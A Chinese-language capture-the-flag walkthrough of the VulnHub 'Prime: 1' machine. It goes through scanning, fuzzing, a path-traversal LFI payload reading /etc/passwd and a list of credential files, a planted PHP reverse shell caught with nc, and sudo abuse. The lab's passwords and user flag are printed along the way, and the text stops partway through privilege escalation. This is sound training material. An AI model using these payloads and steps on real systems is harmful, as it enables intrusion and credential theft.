# OSCP Like VM # 35 - Prime: 1
:::info
Description:
This machine is designed for those one who is trying to prepare for OSCP or OSCP-Exam.
This is first level of prime series. Some help at every stage is given. Machine is lengthy as OSCP and Hackthebox's machines are designed.
So you have a target to get root flag as well as user flag. If stuck on a point some help are given at a level of enumeration.
:::
0x00 目錄
---
[TOC]
0x01 環境部署
---
* **攻擊機:**[Kali Linux 2024.1 Release](https://www.kali.org/blog/kali-linux-2024-1-release/)
* **靶機:**[Prime: 1](https://www.vulnhub.com/entry/prime-1,358/)
* **虛擬機軟體**:[VMware Workstation 17 Pro](https://blogs.vmware.com/workstation/2024/05/vmware-workstation-pro-now-available-free-for-personal-use.html)
* **網路設置:** 均設為 NAT 模式
* **目標:★ 取得 root 和 user 的 flag ★**
| Machine | IP | User |
|:------------------------------------------------------------ |:---------------:|:-----------------:|
| Kali Linux  | 192.168.138.128 | kali |
| Prime: 1  | 未知 | 未知 |
0x02 主機發現和連接埠掃描
---
目前我們已經知道目標靶機與我們處於相同的網段。
所以第一步是確定靶機的 IP 地址,可以使用 `Nmap` 進行區網內的主機發現。
:::info

**Nmap**(Network Mapper)是一款開源的網路掃描工具,專門用於網路發現和安全審核。它能夠幫助我們掃描網絡中的設備,識別開放的 Port,發現網絡中的服務和版本信息,甚至檢測操作系統的類型。
| 參數 | 功能描述 | 用法範例 |
|---------|------------------------------------------------------------------|------------------------------|
| `-sT` | TCP 連接掃描,完成三次握手,通常用於無法使用 SYN 掃描時 | `nmap -sT <目標IP>` |
| `-sS` | TCP SYN 掃描,稱為「半開掃描」,僅進行部分 TCP 握手,較隱蔽 | `nmap -sS <目標IP>` |
| `-sU` | UDP 掃描,用於識別開放的 UDP Port | `nmap -sU <目標IP>` |
| `-sn` | Ping 掃描模式,只檢查主機是否在線,無 Port 掃描 | `nmap -sn <目標IP>` |
| `-Pn` | 停用 ping 掃描,直接進行 Port 掃描,可用於不回應 ping 的目標 | `nmap -Pn <目標IP>` |
| `-f` | 使用分片技術進行掃描,將資料包分割成更小的部分,增加隱蔽性 | `nmap -f <目標IP>` |
| `-A` | 啟用高級掃描功能,包括 OS 偵測、版本偵測、腳本掃描和路由追踪等 | `nmap -A <目標IP>` |
| `-sV` | 版本偵測,識別服務的版本信息 | `nmap -sV <目標IP>` |
| `-T4` | 設定掃描速度(T0 到 T5),T4 適合網速較好環境,速度適中 | `nmap -T4 <目標IP>` |
| `-oN` | 輸出結果到文本( .txt ) | `nmap -oN result.txt <目標IP>`|
其他可參見官方文檔,上述參數可以根據需求自由組合使用。
:::
:point_down: **區網內的 Class C 主機發現**
```bash
kali@kali:~$ nmap -sn 192.168.138.0/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-28 02:44 EDT
Nmap scan report for 192.168.138.2
Host is up (0.00034s latency).
Nmap scan report for 192.168.138.128
Host is up (0.00010s latency).
Nmap scan report for 192.168.138.129
Host is up (0.00039s latency).
Nmap done: 256 IP addresses (3 hosts up) scanned in 2.71 seconds
```
在這個網段內找到了三台活躍主機。
其中 `192.168.138.2` 是網關,`192.168.138.128` 是本機 IP,`192.168.138.129` 就是我們的目標靶機。
:point_down: **掃描靶機開啟的 Port 和運行的服務版本**
```bash
kali@kali:~$ nmap -T4 -sV 192.168.138.129
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-28 03:03 EDT
Nmap scan report for 192.168.138.129
Host is up (0.00043s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.32 seconds
```
根據掃描結果,我們可以獲得以下資訊:
1. **主機狀態**:
- IP 地址 `192.168.138.129` 主機在線(Host is up),網路延遲為 0.00043 秒。
2. **開放的 Port**:
- Port `22/tcp` 開放,提供 SSH 服務(OpenSSH 7.2p2),運行在 Ubuntu 4ubuntu2.8 上。
- Port `80/tcp` 開放,提供 HTTP 服務(Apache httpd 2.4.18),也運行在 Ubuntu 上。
3. **其他資訊**:
- 該主機使用的是 Linux 系統。
:point_down: **訪問 http://192.168.138.129:80**

:point_down: **查看原始碼**
```htmlembedded=
<html>
<title>HacknPentest</title>
<body>
<img src='[hacknpentest.png](view-source:http://192.168.138.129/hacknpentest.png)' alt='hnp security' width="1300" height="595" />
</body>
</html>
```
僅有一張名為 "hacknpentest.png" 的圖片,目前看來沒有明顯的利用點。
> 該主機還運行了一個 SSH 服務,但目前獲得的信息不足,暫時先忽略。
0x03 目錄掃描
---
:::info

**Dirb** 是一款用於網頁目錄和文件發現的工具,常用於網站安全測試中。他可以通過暴力破解的方式找出網站上的隱藏目錄和文件,幫助我們找到網站上潛在的目錄和文件。
| 參數 | 功能描述 | 用法範例 |
|------------|------------------------------------------------|-------------------------------------|
| `-X` | 指定文件副檔名,用於掃描時附加到目錄名或文件名 | `dirb <目標網站> -X .php,.html` |
| `-o` | 將掃描結果輸出到文件 | `dirb <目標網站> -o result.txt` |
| `-z` | 添加毫秒延遲,避免洪水攻擊 | `dirb <目標網站> -z 100` |
其他可參見官方文檔,上述參數可以根據需求自由組合使用。
:::
:point_down: **對靶機進行目錄爆破**
```bash
kali@kali:~$ dirb http://192.168.138.129/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Wed Aug 28 03:58:54 2024
URL_BASE: http://192.168.138.129/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.138.129/ ----
+ http://192.168.138.129/dev (CODE:200|SIZE:131)
+ http://192.168.138.129/index.php (CODE:200|SIZE:136)
==> DIRECTORY: http://192.168.138.129/javascript/
+ http://192.168.138.129/server-status (CODE:403|SIZE:280)
==> DIRECTORY: http://192.168.138.129/wordpress/
---- Entering directory: http://192.168.138.129/javascript/ ----
==> DIRECTORY: http://192.168.138.129/javascript/jquery/
---- Entering directory: http://192.168.138.129/wordpress/ ----
+ http://192.168.138.129/wordpress/index.php (CODE:301|SIZE:0)
==> DIRECTORY: http://192.168.138.129/wordpress/wp-admin/
==> DIRECTORY: http://192.168.138.129/wordpress/wp-content/
==> DIRECTORY: http://192.168.138.129/wordpress/wp-includes/
+ http://192.168.138.129/wordpress/xmlrpc.php (CODE:405|SIZE:42)
...
```
成功掃描並找到一些有效的目錄和文件。
> 另外還發現目標靶機上運行了一個 WordPress 網站 http://192.168.138.129/wordpress/。
> 
:point_down: **訪問 http://192.168.138.129/dev**
```
hello,
now you are at level 0 stage.
In real life pentesting we should use our tools to dig on a web very hard.
Happy hacking.
```
提示我們目前在第 0 階段,建議我們繼續深入探索。
:::info
在進行目錄爆破時,除了基礎的目錄掃描,還可以指定一些敏感文件類型以提高掃描效果。
以下是一些常見的敏感文件類型:
| 類型 | 副檔名 |
|----------------|------------------------------------------------|
| 配置文件 | `.conf`, `.ini`, `.cfg`, `.json`, `.xml` |
| 資料庫備份 | `.sql`, `.bak`, `.zip`, `.tar`, `.tar.gz`, `.tar.bz2` |
| 敏感文檔 | `.php`, `.asp`, `.aspx`, `.html`, `.htm`, `.jsp`, `.cgi` |
| 密鑰 | `.key`, `.pem`, `.rsa`, `.crt` |
| 日誌 | `.log`, `.txt` |
| 腳本 | `.sh`, `.bat`, `.pl`, `.py` |
| 文檔 | `.txt`, `.md`, `.readme` |
:::
:point_down: **指定副檔名為 `.txt`、`.php`**
```bash
kali@kali:~$ dirb http://192.168.138.129/ -X .txt,.php
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Wed Aug 28 04:35:02 2024
URL_BASE: http://192.168.138.129/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.txt,.php) | (.txt)(.php) [NUM = 2]
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.138.129/ ----
+ http://192.168.138.129/image.php (CODE:200|SIZE:147)
+ http://192.168.138.129/index.php (CODE:200|SIZE:136)
+ http://192.168.138.129/secret.txt (CODE:200|SIZE:412)
-----------------
END_TIME: Wed Aug 28 04:35:06 2024
DOWNLOADED: 9224 - FOUND: 3
```
找到三個頁面 `image.php`、`index.php` 和 `secret.txt`。
:point_down: **訪問 http://192.168.138.129/secret.txt**
```
Looks like you have got some secrets.
Ok I just want to do some help to you.
Do some more fuzz on every page of php which was finded by you. And if
you get any right parameter then follow the below steps. If you still stuck
Learn from here a basic tool with good usage for OSCP.
https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web
//see the location.txt and you will get your next move//
```
得到兩個重要提示:
1. **Fuzzing**
- 對我們發現的每個 PHP 頁面進行模糊測試。
2. **location.txt**
- 一個名為 ==location.txt== 的文字檔,需要進一步查明他的位置和如何使用。
0x04 Fuzzing & Local File Inclusion
---
:::info

**Wfuzz** 是一個開源的 Web 應用程式安全測試工具,可以協助安全研究人員和滲透測試人員發現 Web 應用中的潛在漏洞。他會對指定網址進行模糊測試(Fuzzing),尋找可能存在的安全問題。
模糊測試(Fuzzing)是一種自動化測試技術,主要用於發現軟體中的漏洞和弱點。這種測試方法通過向應用程式提供大量隨機、無效或異常的輸入,來檢查其行為是否異常或崩潰。
| 參數 | 功能描述 | 用法範例 |
| ------ | -------------------------------- | -------------------------------------------------- |
| `-c` | 啟用彩色輸出 | `wfuzz -c -w <字典路徑> <目標網站>?FUZZ=something` |
| `-w` | 指定字典路徑 | `-w <字典路徑>` |
| `--hc` | 忽略指定的 HTTP 狀態碼 | `--hc 404` 過濾 HTTP 404 響應 |
| `--hl`| 根據響應內容中的行數 (Line) 過濾結果 | `--hl 5` 過濾掉行數為 5 的響應 |
| `--hw`| 根據響應內容中的單詞 (Word) 數量過濾結果 | `--hw 10` 過濾掉字符數為 10 的響應 |
| `--hh` | 根據響應內容中的字符 (Char) 數量過濾結果 | `--hh 500` 過濾掉字符數為 500 的響應 |
其他可參見官方文檔,上述參數可以根據需求自由組合使用。
:::
:point_down: **對 `image.php` 進行模糊測試**
```bash
kali@kali:~$ wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://192.168.138.129/image.php?FUZZ=something
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.138.129/image.php?FUZZ=something
Total requests: 951
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000001: 200 6 L 12 W 147 Ch "@"
000000003: 200 6 L 12 W 147 Ch "01"
000000007: 200 6 L 12 W 147 Ch "10"
000000048: 200 6 L 12 W 147 Ch "admon"
000000050: 200 6 L 12 W 147 Ch "agent"
000000015: 200 6 L 12 W 147 Ch "2001"
000000049: 200 6 L 12 W 147 Ch "adsl"
000000031: 200 6 L 12 W 147 Ch "action"
000000045: 200 6 L 12 W 147 Ch "adminlogon"
000000044: 200 6 L 12 W 147 Ch "admin_login"
000000043: 200 6 L 12 W 147 Ch "adminlogin"
000000038: 200 6 L 12 W 147 Ch "Admin"
000000040: 200 6 L 12 W 147 Ch "administration"
000000042: 200 6 L 12 W 147 Ch "administrator"
000000039: 200 6 L 12 W 147 Ch "administrat"
000000041: 200 6 L 12 W 147 Ch "Administration"
000000034: 200 6 L 12 W 147 Ch "adm"
000000033: 200 6 L 12 W 147 Ch "active"
...
```
:point_down: **嘗試過濾 `6 L`**
```bash
kali@kali:~$ wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hl 6 http://192.168.138.129/image.php?FUZZ=something
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.138.129/image.php?FUZZ=something
Total requests: 951
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
Total time: 0
Processed Requests: 951
Filtered Requests: 951
Requests/sec.: 0
```
沒有結果。
:point_down: **嘗試過濾 `12 W`**
```bash
kali@kali:~$ wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hw 12 http://192.168.138.129/image.php?FUZZ=something
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.138.129/image.php?FUZZ=something
Total requests: 951
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
Total time: 0.446762
Processed Requests: 951
Filtered Requests: 951
Requests/sec.: 2128.646
```
沒有結果。
:point_down: **嘗試過濾 `147 Ch`**
```bash
kali@kali:~$ wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 147 http://192.168.138.129/image.php?FUZZ=something
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.138.129/image.php?FUZZ=something
Total requests: 951
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
Total time: 0
Processed Requests: 951
Filtered Requests: 951
Requests/sec.: 0
```
一樣沒有結果,模糊測試 `image.php` 後並沒有得到任何有效資訊。
:point_down: **對 `index.php` 進行模糊測試**
```bash
kali@kali:~$ wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://192.168.138.129/index.php?FUZZ=something
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.138.129/index.php?FUZZ=something
Total requests: 951
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000001: 200 7 L 12 W 136 Ch "@"
000000040: 200 7 L 12 W 136 Ch "administration"
000000039: 200 7 L 12 W 136 Ch "administrat"
000000038: 200 7 L 12 W 136 Ch "Admin"
000000007: 200 7 L 12 W 136 Ch "10"
000000003: 200 7 L 12 W 136 Ch "01"
000000027: 200 7 L 12 W 136 Ch "access"
000000028: 200 7 L 12 W 136 Ch "accessgranted"
000000033: 200 7 L 12 W 136 Ch "active"
000000029: 200 7 L 12 W 136 Ch "account"
000000032: 200 7 L 12 W 136 Ch "actions"
000000026: 200 7 L 12 W 136 Ch "academic"
000000025: 200 7 L 12 W 136 Ch "about"
000000024: 200 7 L 12 W 136 Ch "abc"
000000035: 200 7 L 12 W 136 Ch "admin"
000000034: 200 7 L 12 W 136 Ch "adm"
000000030: 200 7 L 12 W 136 Ch "accounting"
...
```
:point_down: **嘗試過濾 `7 L`**
```bash
kali@kali:~$ wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hl 7 http://192.168.138.129/index.php?FUZZ=something
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.138.129/index.php?FUZZ=something
Total requests: 951
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
Total time: 0.443176
Processed Requests: 951
Filtered Requests: 951
Requests/sec.: 2145.869
```
沒有結果。
:point_down: **嘗試過濾 `12 W`**
```bash
kali@kali:~$ wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hw 12 http://192.168.138.129/index.php?FUZZ=something
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.138.129/index.php?FUZZ=something
Total requests: 951
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000341: 200 7 L 19 W 206 Ch "file"
Total time: 0
Processed Requests: 951
Filtered Requests: 950
Requests/sec.: 0
```
得到 ==file==。
:point_down: **嘗試過濾 `136 Ch`**
```bash
kali@kali:~$ wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 136 http://192.168.138.129/index.php?FUZZ=something
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.138.129/index.php?FUZZ
Total requests: 951
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000341: 200 7 L 19 W 206 Ch "file"
Total time: 0.436213
Processed Requests: 951
Filtered Requests: 950
Requests/sec.: 2180.127
```
一樣得到 ==file==,代表這是正確的參數。
:point_down: **將 `file` 作為查詢 key,代入 http://192.168.138.129/index.php**
```
Do something better
you are digging wrong file
```
:point_down: **將 `file` 作為查詢 key、`location.txt` 作為 value,代入 http://192.168.138.129/index.php**
```
Do something better
ok well Now you reah at the exact parameter
Now dig some more for next one
use 'secrettier360' parameter on some other php page for more fun.
```
得到參數 ==secrettier360==,並提示我們可以把他代入到 `image.php` 頁面看看。
:point_down: **將 `secrettier360` 作為查詢 key,代入 http://192.168.138.129/image.php**
```
finaly you got the right parameter
```
提示我們終於找到正確的參數 ==secrettier360== 了!
0x05 LFI 漏洞利用
---
:::info
**LFI**(Local File Inclusion)是一種網絡安全漏洞,攻擊者可以利用這個漏洞來讀取伺服器上本應不被公開的文件。這種漏洞通常出現在 Web 應用程式中,當應用程式允許用戶指定要加載的文件時,若未對用戶輸入進行適當的驗證或過濾,就可能被利用。
常見的敏感路徑:
| 文件路徑 | 說明 |
|----------------------------------------|-----------------------------------------------------|
| `/etc/passwd` | 系統的使用者文件,包括使用者名稱、ID、主目錄和預設 Shell 等。 |
| `/etc/shadow` | 儲存用戶密碼的加密信息和密碼策略。 |
| `/etc/issue` | 系統登錄提示信息,通常顯示系統版本信息。 |
| `/etc/group` | 定義系統中的用戶組及其成員。 |
| `/etc/hostname` | 系統的主機名配置文件。 |
| `/etc/ssh/ssh_config` | SSH 客戶端的全局配置文件。 |
| `/etc/ssh/sshd_config` | SSH 伺服器的配置文件。 |
| `/root/.ssh/id_rsa` | `root` 的私有 SSH 金鑰。 |
| `/root/.ssh/authorized_keys` | `root` 的授權公鑰文件,允許 SSH 登錄。 |
| `/home/user/.ssh/authorized_keys` | 一般使用者的授權公鑰文件,允許 SSH 登錄。 |
| `/home/user/.ssh/id_rsa` | 一般使用者的私有 SSH 金鑰。 |
| `/proc/[0-9]*/fd/[0-9]*` | 系統進程的文件描述符,顯示當前打開的文件或管道。 |
| `/proc/mounts` | 當前系統的掛載點和文件系統狀態。 |
| `/home/$USER/.bash_history` | 使用者的命令歷史記錄文件。 |
| `/home/$USER/.ssh/id_rsa` | 使用者的私有 SSH 金鑰。 |
:::
:point_down: **將`secrettier360=../../../../../../../etc/passwd` 代入 http://192.168.138.129/image.php**
```=
finaly you got the right parameter
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false
whoopsie:x:109:117::/nonexistent:/bin/false
avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/bin/false
colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:118:126:RealtimeKit,,,:/proc:/bin/false
saned:x:119:127::/var/lib/saned:/bin/false
usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false
victor:x:1000:1000:victor,,,:/home/victor:/bin/bash
mysql:x:121:129:MySQL Server,,,:/nonexistent:/bin/false
saket:x:1001:1001:find password.txt file in my directory:/home/saket:/bin/bash
sshd:x:122:65534::/var/run/sshd:/usr/sbin/nologin
```
得到提示:==find password.txt file in my directory:/home/saket==,且根據 `/home` 下的資料夾推測可能存在兩個使用者, ==victor== 和 ==saket==。
:point_down: **將 `secrettier360=/home/saket/password.txt` 代入 http://192.168.138.129/image.php**
```
finaly you got the right parameter
follow_the_ippsec
```
獲得密碼 ==follow_the_ippsec==!
> [IppSec](https://www.youtube.com/@ippsec) 是一位在 HackTheBox 工作的資安專家,幾乎每一部退休的靶機他都會獨立拍一支影片來說明他是怎麼完成的。
:::success
**整理一下目前為止我們知道的靶機訊息:**
* 開了 Port 22 和 Port 80,分別提供 SSH 服務和 HTTP 服務
* 運行 Linux 系統
* 還沒嘗試 SSH 登入
* 有架設 WordPress 網站
* 除了 root 外,可能還有兩個使用者 victor 和 saket
* 一組還不知道用在哪裡的密碼 follow_the_ippsec
所以目前我們有兩個地方可能會使用到這個密碼, **SSH** 和 **WordPress**。
:::
:point_down: **嘗試 SSH 登入**
```bash
kali@kali:~$ ssh victor@192.168.138.129
victor@192.168.138.129's password:
Permission denied, please try again.
```
victor 登入失敗。
```bash
kali@kali:~$ ssh saket@192.168.138.129
saket@192.168.138.129's password:
Permission denied, please try again.
```
saket 登入失敗,換登入 WordPress 後台看看。
:point_down: **網址後方加上 `/wp-admin` 就能進到後台登入頁面**

:point_down: **==帳號:victor== ==密碼:follow_the_ippsec==,成功登入!**

:point_down: **進到外掛頁面,隨便新增一個檔案看看有沒有檔案上傳漏洞 (File Upload)**



上傳失敗,提示我們沒有寫入父目錄的權限。

:point_down: **進到外觀頁面,看看有什麼可以利用的地方**


發現 ==secret.php==,提示我們終於找到可以寫入的文件了!
0x06 Reverse Shell 生成
---
:::info
### **什麼是 Reverse Shell ?**
Reverse Shell (反向 Shell) 是一種攻擊技術,用於在目標系統上建立一個反向連接,使攻擊者能夠遠程控制目標系統。
#### 工作流程:
1. 目標系統執行 Payload:
* 攻擊者在目標系統上運行一個 payload(有效載荷)。這個 payload 通常是通過漏洞利用、社交工程或其他方法注入到目標系統上的。
* Payload 是一段程式碼,他的作用是與攻擊者系統建立連接。
2. 建立反向連接:
* Payload 會向攻擊者系統發起一個出站連接。這與傳統的連接方式相反,在傳統的連接方式中,攻擊者系統會主動掃描並連接到目標系統。
* 這個連接是從目標系統發起的,因此也稱為 "反向" 連接。
3. 攻擊者控制目標系統:
* 攻擊者系統會聆聽來自目標系統的連接。當目標系統成功連接到攻擊者系統時,攻擊者便可以通過這個連接進行操作。
* 攻擊者可以執行命令、上傳或下載文件、控制系統等。
:::
:point_down: **前往 [Reverse Shell Generator](https://www.revshells.com/),輸入攻擊機 (Kali) 的 IP 和監聽 Port**

:point_down: **接著照著圖中數字依序點選`Reverse` > `PHP PetestMonkey` > `bash` > `Copy`**

:point_down: **編輯 `secret.php` 後上傳,看到 `File edited successfully` 即上傳成功**

:point_down: **使用 `nc` 命令開始監聽**
```bash
kali@kali:~$ nc -lvnp 1111
listening on [any] 1111 ...
```
:point_down: **然後前往 http://192.168.138.129/wordpress/wp-content/themes/twentynineteen/secret.php**
```bash
connect to [192.168.138.128] from (UNKNOWN) [192.168.138.129] 59276
Linux ubuntu 4.10.0-28-generic #32~16.04.2-Ubuntu SMP Thu Jul 20 10:19:48 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
04:30:14 up 17:40, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash: cannot set terminal process group (48479): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu:/$
```
==**成功取得靶機的 shell。**==
0x07 Linux 特權提升 (Privilege Escalation)
---
:point_down: **查看權限**
```bash
www-data@ubuntu:/$ sudo -l
Matching Defaults entries for www-data on ubuntu:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on ubuntu:
(root) NOPASSWD: /home/saket/enc
```
發現當前用戶不用 root 密碼就能執行 `/home/saket/enc`
:point_down: **切換到 `/home/saket` 並顯示該目錄底下的內容**
```bash
www-data@ubuntu:/$ cd /home/saket
```
```bash
www-data@ubuntu:/home/saket$ ls
enc
password.txt
user.txt
```
:::warning
:point_down: **發現 `user.txt`,打開拿到第一個 Flag**
```
www-data@ubuntu:/home/saket$ cat user.txt
af3c658dcf9d7190da3153519c003456
```
**★User Flag: **af3c658dcf9d7190da3153519c003456**!★**
:::
:point_down: **回來執行 `enc`,並輸入密碼: ==follow_the_ippsec==**
```bash
www-data@ubuntu:/home/saket$ sudo ./enc
enter password: follow_the_ippsec
```
什麼事都沒發生,代表不是這個密碼。
:point_down: **那我們嘗試搜尋看看有沒有密碼備份,有時候管理員會習慣在系統中備份密碼**
```bash
www-data@ubuntu:/home/saket$ find / -name 'backup' 2>/dev/null
/opt/backup
```
找到疑似存放密碼備份文件的路徑 `/opt/backup`
:point_down: **切換到 `/opt/backup`,並一步一步往下找到 `backup_pass`**
```bash
www-data@ubuntu:/home/saket$ cd /opt/backup
```
```bash
www-data@ubuntu:/opt/backup$ ls
server_database
```
```bash
www-data@ubuntu:/opt/backup$ cd server_database
```
```bash
www-data@ubuntu:/opt/backup/server_database$ ls
backup_pass
{hello.8}
```
:point_down: **查看 `backup_pass`**
```bash
www-data@ubuntu:/opt/backup/server_database$ cat backup_pass
your password for backup_database file enc is
"backup_password"
Enjoy!
```
成功找到 `enc` 檔案的密碼:==**backup_password**==!
:point_down: **回到`/home/saket` 並執行 `enc` ,再輸入密碼 ==backup_password==**
```bash
www-data@ubuntu:/opt/backup/server_database$ cd /home/saket
```
```bash
www-data@ubuntu:/home/saket$ sudo ./enc
enter password: backup_password
good
```
提示 good ,成功執行了 `enc`
:point_down: **`/home/saket` 底下出現 `enc.txt` 和 `key.txt`**
```bash
www-data@ubuntu:/home/saket$ ls
enc
enc.txt
key.txt
password.txt
user.txt
```
:point_down: **查看 `enc.txt`**
```bash
www-data@ubuntu:/home/saket$ cat enc.txt
nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=
```
:point_down: **查看 `key.txt`**
```bash
data@ubuntu:/home/saket$ cat key.txt
I know you are the fan of ippsec.
So convert string "ippsec" into md5 hash and use it to gain yourself in your real form.
```
提示說要對 `ippsec` 進行 MD5 雜湊,然後再拿去解 **enc.txt** 。
:point_down: **對 `ippsec` 進行 MD5 雜湊**
```bash
www-data@ubuntu:/home/saket$ echo -n "ippsec" | md5sum
366a74cb3c959de17d61db30591c39d1 -
```
得到 Key: ==**366a74cb3c959de17d61db30591c39d1**==。
這是一個 32 位元 16 進制的金鑰,而且只有需要解密的內容 `enc` 和金鑰 `key`,沒有偏移量,所以應該是 **AES-256-ECB** 加密。
:point_down: **隨便找一個 [線上AES加解密工具](https://www.toolnb.com/tools-lang-zh-TW/aesEnDe.html),填入解密內容和金鑰,加密方式選擇 `AES-256-ECB`**

```bash
Dont worry saket one day we will reach to
our destination very soon. And if you forget
your username then use your old password
==> "tribute_to_ippsec"
Victor,
```
得到 ==**saket**== 用戶的密碼:**==tribute_to_ippsec==**。
:point_down: **切換到 saket**
```bash
kali@kali:~$ ssh saket@192.168.138.129
saket@192.168.138.129's password:
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.10.0-28-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
197 packages can be updated.
0 updates are security updates.
*** System restart required ***
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Sat Aug 31 05:31:31 2019
$
```
登入成功!
:point_down: **查看權限**
```bash
$ sudo -l
Matching Defaults entries for saket on ubuntu:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User saket may run the following commands on ubuntu:
(root) NOPASSWD: /home/victor/undefeated_victor
```
發現當前用戶不用 root 密碼就能執行 `/home/victor/undefeated_victor`。
